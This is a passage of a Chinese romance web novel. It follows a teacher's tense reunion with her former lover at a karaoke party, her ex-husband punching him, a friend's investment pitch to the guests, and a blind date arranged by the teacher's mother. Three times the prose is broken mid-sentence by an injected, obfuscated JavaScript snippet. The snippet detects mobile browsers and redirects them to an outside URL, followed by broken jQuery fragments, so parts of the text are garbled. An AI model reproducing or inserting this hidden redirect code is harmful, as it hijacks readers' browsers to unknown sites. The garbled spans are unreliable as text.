“你还不知道北京这天气吗?哪有个准谱。”李知难举起啤酒和她碰了碰,“示范课什么时候开始啊?我现在找你抱佛脚管不管用?” 她们继续聊起了工作,奚西在一旁听着,眼睛却忍不住一直瞟着手机。 曲子格举着麦克风,使劲吼着:“死了都要爱。” 此时,门突然又开了。 李知难看了看周围的人,想不到还有哪个曲子格的朋友没在房间里,抬眼对上了一张格外熟悉又陌生的脸。 大家都因为陌生男人的闯入而停下了手上的活动,大眼小眼一齐瞪着他。 老路率先反应过来,起身介绍道:“哦,各位,这是我朋友,裴方禹。” “喔,帅哥诶!”大家看着裴方禹那张脸,不禁叹道。 李知难望向孙书维,孙书维没好气地看向老路,老路急急忙忙扯过了曲子格,道:“小曲不是说人多热闹吗?所以我就请方禹来了。他也是我们外交部的同事,平时没什么社交圈子,跟大家认识认识。” “帅哥还是外交官啊!”大家兴奋得不行。 奚西在旁小声道:“离开了校园脱离了教师身份,大家也挺开明的嘛……” 孙书维凑近李知难小声解释道:“知难,对不起啊,我不知道他怎么会来。” 李知难道:“我知道你不会这么对我。” 孙书维才松一口气,李知难又道:“但是你家老路会,他的账我也算到你头上,你等着我秋后找你。” 孙书维难得露出理亏得任人宰割的表情。 裴方禹和众人打完招呼,直接走到了李知难身边,他看了看在左边完全没有让座可能的孙书维,礼貌地对奚西道:“我可以坐这里吗?” 李知难一把没拉住,奚西小鹌鹑似的点头挪屁股。 裴方禹坐下,李知难感觉到一个屋子的八卦眼神都守不住地往这边瞥来。 “知难,我们谈谈?”包间内背景的声音虽然大,但他的声音并不容易被忽略,他侧头看向她,视线温柔。 李知难大口灌了口酒,拒绝道:“我们之间没什么可谈的。” “可你上次骗了我。”音乐声有些大,他凑上前来,在她耳边说,让她整个后背的汗毛都立了起来。 李知难用手搓了搓胳膊,向另一旁躲了躲,道:“我骗你什么了?” “你离婚了。”他低声道。 李知难下意识反驳:“和你有什么关系。” 那语气,像是当年她看到自己和其他女孩走得近时一样,明明心底充满了情绪,嘴上却犟着脾气不肯直说。偏偏她脸上藏不住事,秘密就这样从她的一举一动中被泄露,让人忍不住想要抱她在怀里,使劲揉搓这颗裹着铁皮的小豌豆。 裴方禹一脸笑意地看着她,语气轻松地叹道:“知难,你怎么还和小孩儿似的?” “谁……”李知难当下连还嘴的话也说不出。 “我们出去聊聊?”他提议。 “不聊。” “怕我?”他故意道。 “我怕你什么?” 他侧头,挑衅一般。 “不去。”她转过了头,不上当。 他的呼吸凑近到耳边,惹得她心里愈发别扭,“这里面吵,你要是不想出去,那我这么跟你说也一样。” 李知难身子下意识又往旁边多躲了下,恨恨道:“去就去。” “说吧。”她找了个相对安静的角落,双手抱胸前,像是平时那副训学生的样子。 裴方禹没有被她这架势吓到,反倒像是觉得她是什么可爱的小猫小狗,对着她的头发揉了揉。 “别动手动脚的!”李知难打开了他的手,出声警告。 裴方禹将手收回,做投降状。 “有事快说。”她没好气道,“不是你叫我出来的吗?出来了你倒是说话啊?” “离婚了上次为什么不告诉我?”他像是在关心,又像是指责。 “我凭什么告诉你?”李知难反驳。 “知难,我和孟卿怡的事是误会,”裴方禹道,“我和她没什么。” 李知难冷哼道:“你们一起去了西班牙,你和我说没什么?” “我和她是同事,工作调动也是很正常的事情,我问心无愧。”他表情坦然。 “如果不是她爸爸有意撮合你们,你会有机会去西班牙吗?” “会,晚几年,但早晚都会。” “那就是你也承认,你享用了可能成为孟卿怡未来丈夫的特权,换来了你的高升,不是吗?” “物尽其用罢了。”他答。 “你这样还敢跟我说问心无愧?”李知难听着他这样无耻的回答,心中起了怒意。 “知难,那件事我确实利用了她的关系,但她是知情的,我没有隐瞒过。我爱你是真的,可是我的事业也是真的,我从没有隐瞒过我的野心,我也不认为它是一件拿不出手的事情,我为何要问心有愧?” 李知难不想再和他攀扯这些,转身道:“陈年旧事了,扯这些没意义。” 裴方禹拉住了她的胳膊,“有意义。” “放开我。”她厉声道。 裴方禹松开了手,低头温声道:“知难,对不起。” “这话我早听够了。” “不能原谅我吗?”他试探询问。 “不能。”她坚定回答。 “为什么呢?”他语气柔软得不像话,好像当初那个抛弃一切离开的人不是他一样。 李知难答道:“因为你没有选择我。” “你也……选择了别人,不是吗?”裴方禹眼神中闪过一丝浓重的情绪。 “所以呢?你拍拍屁股走人还指望我等你一辈子吗?”李知难看着他的眼睛,想要确定刚才自己看到的眼神究竟是什么,但他很快移开了视线。 “我等了。”裴方禹道,“我做错了事,我承认,可是我没有变过心。是我先做错的,所以你惩罚我……你选择嫁给了别人,这都是我应得的报应。可是知难,不是每个人都能有重新开始的机会,我好不容易等到了,为什么我们不能把这些都抛在过去,重新开始一次呢?” “裴方禹,所以你的意思是,你虽然做错了,可是我错得更多,现在我应该感恩戴德你还想要我,然后不计前嫌地和你再续前缘?你疯了吧?我惩罚你什么?我压根不在乎你怎么想,结婚生子是我自己的决定,和你没有任何关系,你别太看得起自己了。” 裴方禹低着头,回道:“可你离婚了,不是吗?” “那又怎么样?”她看着他,“那也是我的事情,跟你没关系。” “你是我喜欢了半辈子的人,你说没关系就没关系?”他凑过来,手提到一半握成了拳放下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654821|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我做不到没关系。” “我求你了?我逼你了?你自己事情为什么要找我负责?你一个成年人了,这点事拎不清吗?”她努力地撑出自己做老师的样子,生怕再多听一句他说这样的话,自己好不容建设的防线就会被击溃。 “那你为什么要搂着我哭?”裴方禹祈求般地看着她,“我也想彻底放弃你,我无数次地想过忘掉你重新开始,那你继续婚姻美满家庭幸福就好了,我看不到希望自己就会滚得远远的。可是,李知难,你为什么要搂着我哭?你为什么要让我见到这样的你?” 李知难的眼泪突然再次不争气地落了下来。 她自己也不明白,为什么一牵扯到裴方禹,自己的伪装总是一戳就破,自己的狠心三两下就破了相。 “你看,”裴方禹看着她,忍不住伸手去拭掉她的泪水,“你让我有什么办法?” 李知难低着头,带着哭腔回道:“裴方禹,我给过你机会,我给过你无数次机会,只要你转身,你回头,我都会毫不犹豫地选择你,我说过的。可是你没有,一次都没有。” “我真的把这话听进去了,”裴方禹道,“我知道你会等我,我相信你会等我,所以我才敢离开。” “……可笑。”她啐道。 “我自信你不会爱上别人,自信你永远都只会是我的。我至今都不知道那时候年少的自己是哪来的自信,越是知道不会离开的,就越是不珍惜。”他轻声道,“我和你保证过,五年,我一定会回来,风光地娶你进门。可你……第二年就结婚了。”他自嘲道,“我每天都在想,熬过去这五年,等我回去,等我们破镜重圆,我有那么多的故事那么多的话想跟你说。到时候,我会把欠你的全都加倍补给你,用余生换这失去的五年,但是,你没有等我,你结婚了。” “我不会等你,因为你把机会用完了。”李知难答。 “我不知道会这样。”他看着她,满是遗憾,“我甚至不知道自己什么时候被判出局的。” 李知难再去回忆当初,已然有些不太相信那个女孩是自己了。 她只身跑到裴方禹的单位,在门口站了三四个小时,等他出来。却看到一群穿着正式讲究的人中,裴方禹和另一个女生亲昵地聊着天,那女孩脖子上甚至还围着她送他的围巾。 “裴方禹。”她叫住了他,北京的冬日那么冷,她浑身颤抖地走上前,听到裴方禹和周围同事介绍:“这是我同学。” “我是……你什么?”李知难难以置信。 裴方禹说,单位对作风问题抓得严,他才入职不想被当成典型抓。 接下来,圣诞,元旦,新年,情人节,答应她不会错过任何一个节日的裴方禹像是人间蒸发一般。他总是在忙,无时无刻不在忙。李知难去他的出租房等他,他常常都是后半夜才回来,一大清早又离开。李知难习惯了被他宠着疼着,突然他卸下了这个身份,一时间她无所适从。 潜意识里,她开始学习承担这个身份。去帮助他,照顾他,洗衣做饭收拾房间,她只能在自己力所能及的范围内提供帮助,大部分付出都化成了看不到实际效果的背景板。 原来感情中的付出,只有接收方的认可才算是绩效。她认可了裴方禹的付出,可裴方禹现在连认可她的精力也没有。 元宵节那天,李知难想到了自己能做得最大的付出:她邀请裴方禹来家里见父母。 李爸爸李妈妈从期盼到冷脸,足足五六个小时,几十通未接来电后,裴方禹才回了条信息:我有事过不去了。 失望不是一蹴而就的,是一天天日积月累演化而成的习惯。可她是个不服输的,她努力争取,自我消化,一遍又一遍地用那个他曾经承诺的虚无的未来安慰自己,他只是需要更多时间。 后来,他决定去西班牙。 消息传得也快,都不用她打听,就有人告诉她,裴方禹被行业大佬看中了做乘龙快婿,这次的西班牙就是让他去陪公主镀金,等一切尘埃落定,她们风光荣返故里,加官晋爵荣华富贵享之不尽用之不竭。 “是吗?”李知难质问他。 “孟部是这个意思,但是我和孟卿怡说清楚了,她知道我对她没有想法的。”裴方禹解释道。 “你不能去。” “知难,我必须去。” “那我们怎么办?”李知难流着泪,看着眼前坚定的男人。 “五年,知难你给我五年,五年之后我就回来娶你。”他信誓旦旦地保证。 “你去,我们就分手。” 她当时把话说得极为坚定。她也一次又一次地警告自己,天底下又不是没有别的男人了,不要因为这个陈世美就放弃自己的原则。可是当日历翻到他走的那天时,李知难仍然没有骨气地给他发了信息。 “我想再见你一面。” “裴方禹,你在哪?” “我们见一面,我说过无论什么情况,什么时候,我都会坚定地选择你,我需要你给我一个等你的理由。” 她想象中,收到信息的裴方禹会不顾一切地奔向她,告诉她自己爱她。 现实中,裴方禹没有任何回复。 李知难觉得自己马上就要控制不住自己的脚,又绝不甘心跑到机场做那个送他走的王宝钏,她打开了浴室的花洒,在寒冷的天气里用冰冷的水浇着自己。 “李知难,你不能去。”她一遍又一遍地对自己说,“你不能去。” 是李爸爸最后联系上了裴方禹。 “知难住院了,你能不能过来看一下?” 女儿成年后,和爸爸一向走得不近。她是个心高气傲眼高于顶的女孩,这点倒是贴贴地随了爸爸。老李自己知道,他没有女儿有本事,只是空有了这一身脾气。但自己的女儿样样出类拔萃,哪怕有这点心气也是应该的。 所以当女儿烧得不省人事,被他踉跄抱进医院时,他只能放下了自己的尊严。 去求那个素昧平生的男孩,不要抛弃他的女儿。因为他真的无能为力了,只能寄希望于另一个男人。 他最终也没有来。 就像是火山的一次爆发。爆发时轰轰烈烈,结束后死寂安然。 李知难想,人这一辈子可能也只会这样冲动一回吧,因为不知轻重,不知好歹,才敢这么不顾一切地去奢望爱情。如果是现在的她,断然不可能做出任何上述举动。 “你走的那天,我们就彻底结束了。”李知难从回忆中挣脱,冷静道,“过去的事情就过去吧。” “我那天没有去机场,我……”裴方禹话还没说话,突然被人拉开,一记重拳狠狠地砸在了他的脸上。 “你他妈的混蛋!”打人的,是宋乐。宋乐显然喝多了,他不管不顾地挥了拳头,眼珠涨得血红。 李知难急忙上前搀扶住裴方禹,气道:“宋乐你有病吧!” 宋乐醉醺醺地喊:“我是有病!我有病有大了!” 57. 投资 周围的人不由凑了过来,几名随宋乐一起的男人也上来扶住了他,这些是宋乐工作上的朋友,并不认识李知难,只当宋乐喝多了,不明就里地向他二人赔礼道歉。 宋乐挣脱了朋友的搀扶,上前一把便攥住裴方禹的衣领,道:“我他妈真恨不能杀了你,你为什么总是阴魂不散!” 李知难将他推开,斥道:“你别胡闹。” 宋乐看着眼前的二人,狠狠啐了句:“操!” 众人上前只道“醉了醉了、“对不住对不住”就急忙将人扶出去,散了这场酒后德性。 李知难看了看裴方禹的脸,微微有些红肿但并没有出血,便道:“先回去吧。” “他就是你前夫?”裴方禹在婚礼上见过他,一个普通的中年男人,搂着那朵高不可攀的花。 “对。” “你眼光什么时候这么差了?” 李知难不想再多谈,转身朝着包厢的方向走去,裴方禹在后面跟上了她。 待他们推门而入时,却看到和离开时截然不同的另一幅场景。 曲子格正站在桌子上,发表激情演讲。 “喝多了?”她小声问奚西。 奚西摇头不解。 孙书维道:“你再仔细听听这位祖宗说什么呢。” 曲子格继续道:“现在就是入手的时候了,亲爱的朋友们,家人们,今天就是我改变人生的大好时机,也是改变大家人生的大好时机,机不可失,失不再来,投资曲子格,买股曲子格,一起成为人生赢家。” 李知难心道,走的时候这里还是生日会,怎么出去一趟看人挨个揍,回来变传,销了?电视上的背景已经变成了曲子格精心准备的ppt,从公司历史,品牌影响,教学模式,未来发展,收益产出各个方面都细致地进行了介绍。 曲子格最后鞠了个一百八十度的躬:“恳请各位,好好考虑,多多考虑,认真考虑,我万八千不嫌少,一百万也不嫌多,就看大家的了,有意向随时联系我,我二十四小时恭候。最后,大家吃好喝好啊!吃好喝好!来来来,小梅,继续唱歌啊!” 李知难将曲子格拉到了一边,不解道:“你这什么情况?” 曲子格回道:“你还记得那个王总吗?他让我去新开的分店做校区主管。” “那是好事吧?”李知难说得自己都有些怀疑,不知道王总怎么和传销扯到一起了。 曲子格摆了摆手:“有条件的,他要拉我入伙,一百万。品牌用他的,收益37分。要是能做好,是双赢的局面,他的品牌我了解过,加盟费就一百个,还别提场地设备人员这些,没个七八位数下不来的。他现在现成的分店给我,一百万算是便宜我了,我也是托了李北辰的面子,当然还有我自己的个人魅力。” 李知难不太懂商业上这些决策,但光是这钱数就超过了她的理解范围,“可你哪来的这么多钱?” “我现在只有十万。”曲子格清算了所有的家当,得出了结论。 “拿着十万你就敢奔一百万?”李知难道,“你上哪去弄剩下的?” 曲子格附耳小声道:“不然你以为我为什么要开这个生日party?包括让你叫李北辰,那都是姐姐走投无路了,想看看天上能不能掉点散财童女童子们。” “我以为……你会找顾清辛?”李知难小声道,她之前几乎确信,曲子格会成为顾清辛的门面老板娘。 曲子格摇了摇头,“我不傻,我知道不能用他的钱。” 话音未落,小梅拉着几个朋友过来道,“那个,子格,我们还有事,就先走了,祝你生日快乐。这红包你收下,是我们送你的生日礼物,别嫌少啊,就是借钱那事,我们自己也挺拮据的,就不跟着你发财了啊。” “对对对。”几人一起附和。 见她们慌慌张张地要离开,曲子格拉着胳膊不肯罢休:“怎么是借呢?今天你的一百块,明天就能变两百,这是投资啊我的朋友。” “我们真的没钱。”小梅一个指头一个指头把她的手扒开,才算是得了生路。 众人看在眼里,没多会儿又多了几个前同事和前朋友-to-be慌张离开。 “鸿门宴啊。”孙书维在一旁摇了摇头,看向老路:“曲子格做事情,还真就没靠谱过。她今天能整这出,我怎么一点都不意外呢?” 老路拍了拍她胳膊,示意她少说两句。 曲子格这边才公布自己的发财计划五分钟不到,包厢里人已经稀稀拉拉走得差不多了。一整晚都在盯着手机的奚西看这气氛,起身开口道:“那我……” “你坐下!”曲子格伸出手指命令道,奚西老实听令。“我不要你钱,但是你要是再走,我这生日party除了知难,连个像样的人都没剩下了。” 孙书维听她这么说,知道她是在内涵自己,眼睛瞪得老大刚要发作,又被老路摁下。 曲子格环看了圈空荡荡的包间,摁下了暂停播放键,垂头丧气地坐在了李知难身旁。 “我这儿还有点。”李知难摸了摸她的头,温柔道,“没事,我投资你。” “多少?”曲子格可怜巴巴地看她。 “十……三?”李知难脑袋里算了算可支配的钱,给了个不零不整的数。 曲子格瘪着嘴,只答:“谢谢知难。” “行了,我给你出五十。”孙书维突然起身,站到她身侧:“过生日呢啊,别整这臊眉搭眼的狗熊模样,给谁看呢?” 曲子格当她在开自己玩笑,道:“我知道你今天把那位……”她眼睛扫过了另一边的裴方禹,“……带过来,对知难有愧,但你也不用这样寒碜我吧……” 孙书维直接从包里掏出了卡,放到了她面前,“要不要?” 曲子格整个人坐直了起来,“真……真的啊?” “不要?不要拉倒。”孙书维假意去拿卡,曲子格眼疾手快抢了过来。 “要!”她有些难以置信,忍不住确认道:“五十块?” “五十万!” 曲子格的眼睛顿时来了生气,亮晶晶地看着她,一把抱了上去。 此时,另一旁角落中的裴方禹缓缓开口道:“曲老师,我可以投资吗?” 众人都有些意外,他一个毫不相干的陌生人竟会在这时伸出援手。 曲子格转头看向李知难,眼神似乎在问,他可以吗? 李知难的眼神回道:你问我干嘛? 曲子格想,自己的下限已经把主意打到李北辰身上了,那裴方禹不是也半斤八两,既然他愿意做散财童子,自己没有送钱不要的道理。 可她想又到了那天李知难谈论他的表情。狠了狠心,万般不舍道:“算了,不用你的。” 孙书维和李知难对她这平地而起的骨气都颇为意外。 一旁老路开口劝道:“小曲,别有心里负担,我们裴老师不差钱,而且他也不是外人,算是我和书维的朋友,你就当作是我的关系,别不好意思。” 曲子格又看了眼李知难。 裴方禹道:“和知难没关系,是我自己很看好这个项目,刚才听你说完,我认为这个项目很有前景,我也想体验一下坐享其成的感觉。” 李知难清了清嗓子。 曲子格急忙过去握住了裴方禹的手:“裴……裴哥,谢谢支持,一定不会让你失望的。你知道咱们这个项目啊……” 李知难在一旁看得好笑,最近的创业之路确实改变了曲子格不少,最明显的地方就是莫名其妙多了很多哥。 曲子格热络地拉着裴方禹一起唱歌,特地选了首《朋友》,打算唱出相识不久却能肝胆相照的情怀。 李知难在旁小声问孙书维:“你……真的看好曲子格?” “从来没有。”孙书维左右慢动作地摇了摇头。 李知难不解道:“不是,那你还投五十万?” “你不也投了吗?”孙书维反问。 “我也就十几万块钱,就当是扔了,你这么多钱,你也敢?”李知难知道孙书维家境不错,但是断然没到能扔五十万玩的程度。 “我确实不相信她,可是她现在需要我。”孙书维喝了口啤酒,耸肩道,“谁叫她需要我呢。” 曲子格到家时已经是凌晨时分,她蹑手蹑脚地开了门,生怕吵醒已经睡下的父母。 她将孙书维的卡小心翼翼地供在床头,准备去洗漱,手机突然响了起来。 她有些迟疑地接了电话,那头响起了顾清辛的声音,他问道:“你到家了?” 曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654822|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子格左右看了看,以为自己被他按了监控,反问道:“你怎么知道?” “我在你家楼下,看到灯开了。”他回。 “哦。” “小格子,生日快乐。”他在电话那头说。 “谢谢。” “那我走了,你早点休息。”顾清辛挂了电话,曲子格才反应过来,看到灯开才知道自己回来了。这么说来,他在楼下,等了自己一夜? 想到这儿,曲子格风风火火地冲了出去,果然在楼下看到了他,明晃晃地两道车灯,照着她走向他的路。 “你……还没走啊?”曲子格有些别扭地说。 “就要走了。”顾清辛答道。 “那你路上慢点。”曲子格道。 “好。” 接下来,两个人谁都没有动静,顾清辛没有开车,曲子格也没有后退。 “进来说吧?”顾清辛拉开了车门。 曲子格点了点头,坐到了他的副驾上。 “和李知难一起过的?”他问。 “嗯,还有一堆别的朋友,去唱歌去了。” “怎么不请我?” “请你干嘛?”曲子格小声反驳。 “也对。”顾清辛无奈笑了笑,“你把我的礼物退回来了,我猜你也是这个意思。” 曲子格前两天收到了他送的生日礼物。一份意想不到的豪华大礼包。顾清辛的律师联系她,将他名下一处房产,连同一些股份和流动资金转到了她名下。她距离成为富婆,就差一个签字。 曲子格脑子里出现的第一个念头是顾清辛要死了。在律师接连几次表示,这些对于顾清辛并不算太夸张,他祖业厚实,禁得起这种折腾法儿后,她才放下了心。 可她仍然不知道他这是闹得哪出,但有一件事她清楚,自己不能收。 “顾清辛,谁家送生日礼物送这么大的?”曲子格翻了个白眼,“我怎么可能会收?” “我敢送,你有什么不敢收的呢?” “我收你了你的房,你的钱,那我是什么人了?”曲子格反问。 “你是曲子格。”他回答得理所当然。 “你送我这些是什么意思?”曲子格试探道。 “想送就送。”他回答。 “钱多烧得慌吧。”曲子格没好气道。 “放在你那里,和放在我这里,都一样。”顾清辛道,“你现在需要钱,你想离开父母住,我正好我能帮你,这不是两全其美么?” “你钱多也不能跟开玩笑似的这么闹着玩,人家结了婚的都把钱和房子分得明明白白,我和你什么关系,我收你这些?”她话是冲动着说出口的,但是说完之后,她意识到自己也想要这个问题的答案。 “你是曲子格啊。”他又这样说了一遍。 “你想娶我吗?”曲子格鼓了鼓勇气,直白问道,“我觉得要不是想娶我,你没必要把身家性命都送给我吧?” 顾清辛一脸严肃地看着她,认真道:“小格子,这事不是能拿来开玩笑的。” “我没跟你开玩笑啊,”曲子格道,“你突然来学校门口找我是为什么?帮我创业又是为什么?不是想和好吗?” “我找你,是因为你遇到了困难,我不能让你一个人面对。”顾清辛道。 “所以你没想和我和好?”曲子格道。 “我们试过了,我并不能让你幸福。”顾清辛答。 曲子格有些来气:“那你管我没遇到困难呢?你管我能不能一个人面对呢?” 顾清辛道:“我没办法给你幸福,可我也不会让你受苦。” 这次终于坐实了之前自己心里猜测的:他不想和她复合。又一次,她一厢情愿,对上了他自作主张。曲子格堆积了很久的情绪终于爆发了。 “你是我什么人?你有什么资格跟我说这些话?”她失控道,“不是,你玩儿我呢?你不想跟我和好,你跑来裹什么乱?你不想娶我,你把这些东西给我干什么?你想跟谁好,想娶谁,你去找谁去啊!老来逗摆我,有意思吗?” “小格子,你冷静一下。”他表情有些无奈。 “我冷静狗屁啊我!”曲子格起身离开了他的车,想想还是气不过,又折回来骂道:“你以后给我滚远点!” 58. 只有那孙子一个 高三下的半学期自带阴霾特效,让每一个经历者都如临大敌。李知难的教学任务越发繁重,她找孙书维交行政材料时,这阵子一直没空和她聊闲话的孙书维留了她一下,有些不好意思地说:“方禹前两天来我们家了。” 李知难:“……” “他应该是想和你和好。”孙书维道,“我的观点是,如果以现实角度说,你和宋乐凑合,远不如和他凑合。他的条件,各个方面都立体碾压宋乐。” “不可能。”李知难摇头拒绝。 “为什么?他哪不好吗?”孙书维的原则是理性至上,感性候补。她自己在择偶这件事上也是这样做的,路少鸿是李知难介绍给她的,当时他是自己遇到条件最好的交往对象。后来,他出国,和她在人生道路上有了分歧,她也能快刀斩乱麻地结束掉这段感情。这么多年,她没有遇到条件满意的,也不着急和任何人凑合。直到老路回来,她发现最合适的还是他,理性这样告诉她。感性也在说,她很想念他。两个人就这样再续前缘,直接领证结婚了。 她认为李知难在这一点和她是一样的,不然她就不会嫁给宋乐了。所以听她这么说,她第一反应是裴方禹身上也许有自己没有看到的硬性缺点。 “因为他是裴方禹。”李知难没好气道。 “哦,懂了。”孙书维点了点头,她立刻知道自己理解错了,宋乐也许是李知难理性的选择,但是裴方禹不是。 “你懂什么?” “曲子格那套呗,要是涉及爱情这种事,那我就没什么可分析的了。我的观点是,现实角度来说,如果要找,裴方禹现在最好。”孙书维答。 李知难看着她一反常态地关心自己的感情问题,意外道:“我为什么一定要找?你竟然也会有这种落后思维?” 孙书维把手机递了过去:“你不一定,但是叔叔阿姨已经开始找了。” 李知难看着对话框里,自己妈妈求孙书维帮她介绍对象的样子,一股无名火窜上了来。 “怪阿姨?”孙书维问。 “不然呢,还谢谢她?” 孙书维语重心长道:“知难,如果你老了,可能也不知道自己还有几年活头,然后皮皮就自己一个人,你会不会希望他能找到另一半,才能安心地走?” 李知难知道她的意思,但是无法接受这个观点:“我不太擅长想象,毕竟我还有很久的活头,皮皮也不是个成年人,我们都不知道未来会发生什么。” 孙书维回道:“我也不是想替阿姨说话,但是我就是想让你明白,他们那代人的初心都是好的,但是做法都是过时的,你用现在的新思想和他们交流,是说不通的,可总归,家里不是讲理的地方,最好的解法是皆大欢喜,但是怎么才能达到这个目的,你需要多动动脑子。” “怎么这么麻烦……”李知难无奈叹气。 孙书维倒是很现实:“生恩养恩都是恩,人活在世,不存在欠了恩情不用还的好事,自己琢磨吧。” 果然,晚上下班后,李知难妈妈大驾光临,带着几位男士的资料。 “难难……这个妈最喜欢,和你一样,离异,但是人家没孩子,以后你们再生一个也不麻烦。”李妈妈道,“二婚家庭没有孩子的话,那心是过不到一块儿去的,这事你得听妈的。” 李知难才想反驳,但她心里也明白,所谓的讲道理都是浪费口舌,最后也不会有任何结果。眼下她还有卷子要准备,多一事不如少一事,回道:“行,妈,你约吧,我见。” 李妈妈松了一口气,高兴地又谈论些家长里短,李知难看着这样的妈妈,想到了孙书维上午的话。她的确没办法想象自己老了,皮皮大了,那样的未来是什么样子。可是眼下的情况她不用想象,因为年迈的妈妈正坐在她面前。稀疏的白发,深邃的皱纹,佝偻的腰背,细细瞧着,到处都是衰老的痕迹。她印象中的妈妈总是停留在四五十岁的年纪,从来没有年轻过,但也从来不会衰老。要不是今天仔细去发掘,她也不知道自己是如何忽略掉这些慢慢出现在母亲身体上的印记,明明印象中一直是另一个样子的母亲,似乎一夜之间变成现在的模样。 “妈,今天在我这儿睡吧?”她问道。 李妈妈点了点头,又有些迟疑:“我晚上老得去厕所,不会打扰到你吧?” “没事。”李知难鼻子酸酸地回道。 周末,李知难联系了宋乐:“你今天送皮皮去弹钢琴吧,完事了带他去足球班。” 她没办法直说自己被安排了相亲的事情,更不能让这件事有任何跑到李北辰耳朵里的机会。 “你有事?”宋乐意外。 “嗯。” “怎么了?” 李知难道,“工作上的问题,麻烦你了。” 午餐时分,对面的男人看起来老实木讷,不善言辞。他倒是很有诚意,仔细地介绍完自己全部背景,表达了对李知难的满意,以及未来希望有更多机会接触的意向。 这样的相亲和面试也没什么太大的区别。李知难委婉道:“我其实刚离婚不久,家里催着来,但我个人并不是特别着急,如果您不介意的话,我们可以先当个朋友。” 男人愣了一下,摇头道:“朋友……就算了。我知道,可能你没看上我,这也正常,相亲嘛,就是比较现实的。” “我不是那个意思……” “李老师,我明白的。您这样也很好,咱们也都提高了效率。但是我确实挺着急的,咱们有缘再会吧。”男人起身,摆了摆手,自行离开了。 手机此时恰到好处地响了起来。“知难,怎么样?”曲子格在那边唯恐天下不乱地喊道。 “你点儿掐的特别好,人刚走。” “不顺利啊?”曲子格取笑她,“阿姨给你找的什么人中龙凤啊,连你都看不上?” 李知难回道:“我的条件放到现在的市场,滞销的概率更大。” “他们都没长眼睛吗?”曲子格那边似乎吃着东西,嘴里说话含含糊糊的,“我今天都帮你想过好几个版本了,比如说一见你就贪恋你美貌的舔狗,或者那种自己条件不怎么样还敢对你挑三拣四的衰仔,还有直接问你什么时候生孩子的子宫白嫖客,反正想了很多种,但是给你撂这儿自己走了的潇洒哥,我还是没想到。生活真是处处充满意外啊!” “生活是处处充满平凡,他是个平凡的人,想要平凡的家庭。”李知难对刚才的相亲哥印象不错,毕竟人家体面大方的,自己也挑不出毛病。 “你呢?” “我想让我妈别烦我。”李知难老实答。 “跟李北辰最近怎么样?”曲子格八卦道。 “我有一阵子没见到他了。”李知难答,“寒假的时候,爷爷奶奶最后不是要给皮皮报班么,就停了一阵子钢琴课,这阵子开学,今天才去上课,我这不是来相亲了,就让宋乐带他去了。” “你让宋乐去见他?!”曲子格在那边喊了起来,“你搞事情呢?” 李知难答:“身正不怕影子歪。” “你自己找个镜子,你那身子曲里拐歪的,你身上最直的地方只有你的脑子。”曲子格大吼。 另一边,李北辰家门口,他看着对面的两个人,意外地愣在了原地。 “北辰,这就是你家啊?”宋乐自来熟地推门进去了。 “北辰老师好。”皮皮冲他挤眉弄眼,小声道:“今天我爸送我来。” “李……老师呢?” “我妈去相亲去了。”皮皮没心没肺地就把这两个字说了出来。这件事也是宋乐在挂掉电话后心里疑惑,绕着圈子找好事的亲戚打听的,李知难妈妈四处托人介绍,消息不难走漏得人尽皆知。他听到后一时惊诧,没顾忌身旁的皮皮,就把这话重复了出来。皮皮瞪着眼睛问他什么是相亲,他教他不要说这两个字,反倒让皮皮把字眼记下了,才一见到李北辰,就赶紧用了试试。 李北辰的眉间突然拧作一团紧皱起来,他迟疑半晌,才开口问道:“李老师……相亲去了?” “是啊,”宋乐答,“我岳母给介绍的,李知难还不跟我说实话呢,我什么不知道啊。” “你……不介意吗?”李北辰尴尬道。 “介意什么,”宋乐参观着他的家,“离都离了,还能指望人家一辈子不翻篇儿么?不过,这男的我也认识,他要是能搞定李知难,我把自己炖了吃。哎,北辰,你家这装修可真不错,这么大的面积在这个地界,不便宜吧?” “呃,那跟李老师相亲的什么样的人啊?”李北辰不自在道。 “三脚踹不出个屁的,”宋乐道,“北辰,你站门口干嘛啊?进来坐啊。” 李北辰强忍着心里的愤怒,应声走了过去,在他身侧故意道:“宋哥还挺自信的。” “我不是自信,”宋乐嘲讽地哼了一声,“我是知道她的心现在在哪儿呢,别说相亲了,就是黎明现在从电视里跳出来追她,也追不上。都白扯淡。” 李北辰听他的话音,忍不住问道:“什么意思?” 皮皮在旁闲得无聊,道:“你们聊够了没有?能不能上课了?” 宋乐忙道:“你瞧我,瞎耽误功夫,你们上课吧,我出去转转去。等下课了我来接他。” 李北辰点了点头,又道:“要不一会儿宋哥你来我这儿吃吧,咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654823|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好久没见了。” 